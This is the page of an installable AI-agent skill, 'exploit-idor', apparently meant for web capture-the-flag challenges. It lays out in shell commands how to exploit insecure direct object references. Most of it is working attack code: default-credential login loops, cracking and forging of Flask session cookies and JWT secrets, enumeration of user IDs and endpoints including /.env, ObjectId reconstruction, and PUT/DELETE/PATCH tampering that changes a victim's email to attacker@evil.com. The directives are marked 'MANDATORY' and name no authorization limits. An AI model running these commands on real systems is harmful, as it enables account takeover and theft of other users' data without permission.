# Exploit Idor

> Insecure Direct Object References (IDOR) — authorization bypass through predictable object references (sequential IDs, UUIDs, filenames, encoded IDs). Covers horizontal/vertical privilege escalation, ID enumeration, HTTP method tampering, and JWT sub claim manipulation.

- Skill: `purpleailab/exploit-idor` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/exploit-idor`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/exploit-idor/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/exploit-idor

---


# Insecure Direct Object References (IDOR)

Exploits missing or inadequate authorization checks on object references (IDs, filenames, GUIDs), allowing access to other users' resources.

## Default Credentials Fast-Path (when `default_credentials` is a co-tag)

When `default_credentials` appears alongside `idor` in the challenge tags, attempt login FIRST before any IDOR probing:

```bash
# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
  user="${creds%%:*}"; pass="${creds##*:}"
  resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
    -d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
  code=$(echo "$resp" | tail -1)
  [ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done
```

A valid session reduces all subsequent attack surface to authenticated endpoints — this is the fastest path to flag for dual-tag challenges. Only proceed to IDOR enumeration after confirming or exhausting default credentials.

## Flask Session Cookie — SECRET_KEY Brute-Force Fast-Path

**When to use**: After logging in (default creds), if the session cookie starts with `eyJ` (base64) and contains a `.` separator without a JWT `alg` header — it is a Flask itsdangerous cookie. If modifying your own ID in the cookie to another user's ID causes a signature rejection, brute-force the SECRET_KEY IMMEDIATELY before doing any endpoint enumeration.

Evidence pattern (real-world evidence): `test:test` → `user_id=10032` in Flask session → IDOR target at `/order/<id>/receipt` → cookie rejected when manually modifying user_id → SECRET_KEY `your_secret_key` found via flask-unsign → forged cookie with target user_id → flag.

```bash
# 1. Decode the Flask session cookie
pip install flask-unsign -q 2>/dev/null
flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>'

# 2. Brute-force the signing secret (try rockyou first, then common secrets)
flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
# Fallback: try common weak secrets inline
for secret in "secret" "secret_key" "your_secret_key" "flask_secret" "mysecret" "password" "admin" "changeme" "dev" "production"; do
  result=$(flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --secret "$secret" 2>/dev/null) && echo "SECRET: $secret" && break
done

# 3. Once secret found — forge a cookie with admin/target user_id
flask-unsign --sign --cookie "{'user_id': <TARGET_ID>, 'username': 'admin'}" --secret '<RECOVERED_SECRET>'

# 4. Use forged cookie to access target resources
curl -s "http://<TARGET>/order/<TARGET_ID>/receipt" -H "Cookie: session=<FORGED_COOKIE>" -o /tmp/idor_resp.txt
grep -iE 'secret|token|key|cred|flag' /tmp/idor_resp.txt
```

**Decision rule**: If the flask-unsign crack against rockyou is not yielding the secret (no progress output), pivot to endpoint enumeration with your own valid session (horizontal IDOR without cookie forgery may still work).

## Detection Strategy
```bash
# Horizontal IDOR — access another user's data
curl -s 'https://<TARGET>/api/user/1001/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_own.txt
curl -s 'https://<TARGET>/api/user/1002/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_other.txt
diff idor_own.txt idor_other.txt

# Vertical IDOR — access admin resources as regular user
curl -s 'https://<TARGET>/api/admin/users' -H 'Cookie: session=<USER_SESSION>' -o idor_vertical.txt

# ID enumeration
for id in $(seq 1 100); do
    STATUS=$(curl -s -o /dev/null -w '%{http_code}' "https://<TARGET>/api/document/${id}" -H 'Cookie: session=<SESSION>')
    echo "ID $id: $STATUS"
done > idor_enum.txt
```

## Common IDOR Patterns

| Pattern | Example | Test |
|---------|---------|------|
| Sequential integer IDs | `/api/invoice/1001` | Increment/decrement ID |
| UUID/GUID | `/api/doc/550e8400-e29b-41d4-a716-446655440000` | Capture other UUIDs from responses |
| Filename | `/download?file=report_userA.pdf` | Change username in filename |
| Encoded ID | `/profile?id=MTAwMQ==` (base64) | Decode, modify, re-encode |
| Hashed ID | `/api/user/5d41402abc4b` | Check if MD5/SHA1 of predictable value |
| JWT sub claim | `{"sub": "1001"}` | Modify sub claim (if no signature check) |

## Predictable ID Generation Patterns (when IDs look random but encode account-derivable data)

Some IDs that LOOK random (long integers, hex strings, timestamps) are deterministic transformations of public data — registration order, account email, signup timestamp, or the user's own ID + a fixed offset. When the target says "find the first user" / "access account #1" / "view the earliest registered user," the bypass is usually NOT brute-force enumeration but RECONSTRUCTING the ID generator from observed samples.

Always collect THREE observed IDs first (yours + at least two others from public lists, comments, or response leaks). Then check each pattern:

```bash
# Sample: your own ID and any leaked peer IDs (from a /users listing, a comment author field, a leaderboard, etc.)
MY_ID="1734567890123"
PEER_A="1734567891456"
PEER_B="1734567894892"

# 1. Sequential / counter — diffs are small consistent integers
echo "$((PEER_A - MY_ID))"   # e.g. 1333 → counter increment per account
echo "$((PEER_B - PEER_A))"  # e.g. 3436 → spacing maps to signup gap

# 2. Unix timestamp millisecond — ID has 13-digit shape, decodes to a sensible date
date -d "@$((MY_ID / 1000))" '+%Y-%m-%d %H:%M:%S'   # if plausible, ID is timestamp_ms

# 3. Snowflake — 64-bit ID: timestamp_ms (41 bits) | machine_id (10) | sequence (12)
python3 -c "
mid = int('$MY_ID')
ts_ms = (mid >> 22) + 1288834974657   # Twitter snowflake epoch offset
import datetime
print(datetime.datetime.utcfromtimestamp(ts_ms / 1000).isoformat())
"

# 4. Hash of public value (md5/sha1/sha256 of email, username, signup time)
for known_email in "admin@target.com" "test@target.com" "first@target.com"; do
  for algo in md5 sha1 sha256; do
    HASH=$(echo -n "$known_email" | openssl dgst -$algo | awk '{print $2}')
    echo "$algo($known_email) = $HASH"
  done
done

# 5. Reversible encoding — base64/hex/zlib of structured payload
echo "$MY_ID" | base64 -d 2>/dev/null
echo "$MY_ID" | xxd -r -p 2>/dev/null | head -c 200
python3 -c "import base64, zlib; print(zlib.decompress(base64.b64decode('$MY_ID')))" 2>/dev/null
```

**Decision rule**: once one pattern aligns, derive the target ID directly. Examples:

- Timestamp-based + "first user" challenge → compute `min(observed_ids)` and walk backwards by typical signup gap to find ID #1's timestamp; or query the app for the earliest known created_at and reconstruct.
- Sequential counter + "first user" → use `1`, `0`, `-1` (off-by-one) and the smallest leaked ID minus its observed offset.
- Snowflake + "specific account at known time" → compose timestamp_ms backwards: `(target_ts_ms - epoch) << 22 | sequence`.
- Hashed public value → enumerate known emails/usernames through the hash function; the value that hashes to a known peer ID confirms the algorithm.

**Anti-pattern**: brute-forcing sequential integers when the ID space is 13+ digits — at 1 req/sec the search exhausts the budget before reaching meaningful candidates. Always check pattern alignment first.

### MongoDB ObjectId Reconstruction

MongoDB ObjectIds look random but are a deterministic composite: `[4B timestamp][3B machine identifier][2B process id][3B counter]`. When the target app uses ObjectIds in URL paths (`/profile/<oid>`, `/users/<oid>/data`, `/api/doc/<oid>`) AND leaks ANY timing or ordering info about peer accounts, you can reconstruct a target ObjectId without enumeration:

```
target_oid_hex = <target_timestamp_sec_hex_4B> + <my_machine_pid_hex_5B> + <target_counter_hex_3B>
```

The middle 5 bytes (machine+pid) are SHARED across every ObjectId generated by the same mongod process — extract them once from your own observable ObjectId (registration response, profile URL, API response).

**Information leak surfaces that complete the formula**:

| Leak surface | Provides |
|---|---|
| `/starttime`, `/about`, `/info`, "Member since" page | Target account's creation Unix timestamp (4B portion) |
| Registration response with `distance` / `offset` / `you are N from target` | Counter offset from your own counter to target's (3B portion) |
| Sequential signup observation (register 2-3 accounts back-to-back) | Counter increment per second + base counter at known timestamp |
| Object listing with creation timestamps (admin panels, audit logs) | Direct counter samples |

**Concrete reconstruction**:

```bash
# Step 1 — observe self ObjectId (from /register response, /profile URL, etc.)
MY_OID="65f4a3b2c1d2e3f4a5b6c7d8"   # 24 hex chars = 12 bytes
MY_TS_HEX="${MY_OID:0:8}"        # first 4B = timestamp
MID_PID_HEX="${MY_OID:8:10}"     # bytes 5-9 (10 hex chars) — machine+pid (SHARED)
MY_COUNTER_HEX="${MY_OID:18:6}"  # last 3B = counter

# Step 2 — obtain target's timestamp + counter offset
TARGET_TS_SEC=$(curl -s "http://<TARGET>/starttime" | grep -oE '[0-9]{10}')
DISTANCE=$(grep -oE 'distance.*[0-9]+' /tmp/register_resp.txt | head -1 | grep -oE '[0-9]+$')

# Step 3 — derive target ObjectId
TARGET_TS_HEX=$(printf '%08x' "$TARGET_TS_SEC")
MY_COUNTER_DEC=$((16#$MY_COUNTER_HEX))
TARGET_COUNTER_DEC=$((MY_COUNTER_DEC - DISTANCE))
TARGET_COUNTER_HEX=$(printf '%06x' "$TARGET_COUNTER_DEC")
TARGET_OID="${TARGET_TS_HEX}${MID_PID_HEX}${TARGET_COUNTER_HEX}"

# Step 4 — IDOR with derived ObjectId
curl -s "http://<TARGET>/profile/${TARGET_OID}"
```

**Decision rule**: when ANY of (a) app uses ObjectId in URL paths, (b) self-observable ObjectId is in hand, (c) target timestamp is disclosed, (d) counter offset is disclosed or derivable from sequential registration — compute the target ObjectId directly. Skip enumeration; 24-hex-char keyspace is computationally unreachable but algorithmically trivial.

## JWT / Session Signature Cracking (when forged tokens are rejected)

If you decoded a JWT/session token, modified a claim, and the server rejected the modified token (signature invalid), the next step is NOT manual endpoint enumeration — it is signature secret recovery. With the secret you can sign a valid privesc'd token in one operation.

### Flask session (itsdangerous)
```bash
# Detect: cookie starts with "eyJ" base64 OR contains a "." separator with no JWT alg header
pip install flask-unsign 2>/dev/null
flask-unsign --decode --cookie '<COOKIE_VALUE>'
flask-unsign --unsign --cookie '<COOKIE_VALUE>' --wordlist /usr/share/wordlists/flask-session-cookie-bruteforcer.txt
# Or with rockyou
flask-unsign --unsign --cookie '<COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt
# Once secret found:
flask-unsign --sign --cookie "{'user_id': 1}" --secret '<RECOVERED_SECRET>'
```

### Generic JWT (HS256)
```bash
# jwt_tool — interactive cracker
jwt_tool '<JWT>' -C -d /usr/share/wordlists/rockyou.txt

# hashcat mode 16500 (JWT HS256)
echo '<JWT>' > jwt.hash
hashcat -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt --force

# Once secret found, forge with python:
python3 -c "import jwt; print(jwt.encode({'user_id':1,'sub':'admin'}, '<SECRET>', algorithm='HS256'))"
```

### Decision rule (MANDATORY)
| State | Next action |
|-------|-------------|
| JWT decoded, claim modified, server rejected | Crack signing secret FIRST (flask-unsign or jwt_tool against a common-passwords wordlist) before manual enumeration |
| Crack succeeds | Forge token with desired claims, retry IDOR — done |
| Crack fails (no wordlist hit, RS256/asymmetric) | THEN fall back to endpoint enumeration / IDOR via form parameters |
| RS256 detected | Try `alg: none` confusion (`jwt_tool -X a`) before assuming uncrackable |

**Why this rule exists**: JWT/session signature validation is often implemented with weak secrets that crack against a common-passwords wordlist immediately. Spending the dispatch on manual endpoint guessing while the signing secret is one wordlist run away is a critical misallocation.

### Post-Forgery Endpoint Probe (MANDATORY after JWT forgery succeeds)

After successfully forging a JWT (alg:none, key confusion, or cracked secret), immediately probe these endpoints with the forged token as BOTH Bearer header and cookie — do not assume the flag is at a single path:

```bash
FORGED="<FORGED_JWT>"
BASE="http://<TARGET>"

for path in /admin /api/admin /api/users /dashboard /.env /api/flag /admin/flag /api/admin/flag; do
  for method in GET POST; do
    STATUS=$(curl -s -o /tmp/jwt_probe.txt -w '%{http_code}' -X "$method" \
      -H "Authorization: Bearer $FORGED" -b "token=$FORGED" "$BASE$path")
    echo "$method $path: $STATUS"
    [ "$STATUS" = "200" ] && grep -iE 'secret|token|key|cred|flag' /tmp/jwt_probe.txt | head -3 && break 2
  done
done

# If all 403 — try additional privilege claims alongside the sub modification
for claims in '{"sub":"admin","role":"admin"}' '{"sub":"admin","is_admin":true}' '{"sub":"admin","admin":1}'; do
  # Re-forge token with these claims using your recovered secret or alg:none
  echo "Try claims: $claims"
done
```

**When to use**: Challenge tagged `jwt` + `privilege_escalation`. After forgery, run this block before any other enumeration — the flag endpoint is often `/.env`, `/api/flag`, or `/admin/flag`, none of which appear in standard IDOR enumeration wordlists.

## Endpoint Enumeration After ID Discovery

Finding the valid object ID is only step 1. The flag/sensitive data may live at a non-obvious path under that ID. After confirming a valid ID exists, enumerate endpoint paths before giving up.

**Common endpoint patterns (try all with the victim's valid ID):**
```bash
TARGET_ID=10032  # replace with discovered victim ID
SESSION="<YOUR_SESSION>"
BASE="https://<TARGET>"

for path in \
    "/api/users/$TARGET_ID/profile" \
    "/api/users/$TARGET_ID/data" \
    "/api/users/$TARGET_ID/flag" \
    "/api/users/$TARGET_ID/receipt" \
    "/api/users/$TARGET_ID/invoice" \
    "/api/users/$TARGET_ID/orders" \
    "/api/users/$TARGET_ID/documents" \
    "/api/users/$TARGET_ID/files" \
    "/user/$TARGET_ID/profile" \
    "/user/$TARGET_ID/flag" \
    "/user/$TARGET_ID/receipt" \
    "/download/$TARGET_ID" \
    "/invoice/$TARGET_ID" \
    "/receipt/$TARGET_ID" \
    "/admin/user/$TARGET_ID" \
    "/v1/users/$TARGET_ID" \
    "/v2/users/$TARGET_ID"; do
    STATUS=$(curl -s -o /tmp/idor_resp.txt -w '%{http_code}' "$BASE$path" -H "Cookie: session=$SESSION")
    echo "$STATUS $path"
    if [ "$STATUS" = "200" ]; then
        echo "  >>> HIT: $(cat /tmp/idor_resp.txt | head -c 200)"
    fi
done
```

**Dirsearch against a known-valid ID prefix** (when path structure is unknown):
```bash
python3 -m dirsearch -u "https://<TARGET>/user/$TARGET_ID/" \
    -e json,txt,html --no-color -q -t 5 \
    --cookie "session=<SESSION>" 2>&1 | grep -E "^\[" | head -30
```

**Decision flow:**
1. Confirm victim's ID exists (200 on any endpoint with victim's session) → proceed
2. Try your ID on all enumerated paths → note which paths return your data
3. Replace your ID with victim ID on each working path → check for 200 + different data
4. If no paths return 200 for victim ID: run dirsearch against `/user/<victim_id>/` and `/api/user/<victim_id>/`
5. FLAG often lives at `/user/<id>/.env`, `/api/flag`, or embedded in profile JSON — check response bodies carefully

## IDOR in Different HTTP Methods
```bash
# Test all methods — authorization may differ
curl -s -X GET 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>'
curl -s -X PUT 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>' -d '{"role":"admin"}'
curl -s -X DELETE 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>'
curl -s -X PATCH 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>' -d '{"email":"attacker@evil.com"}'
```

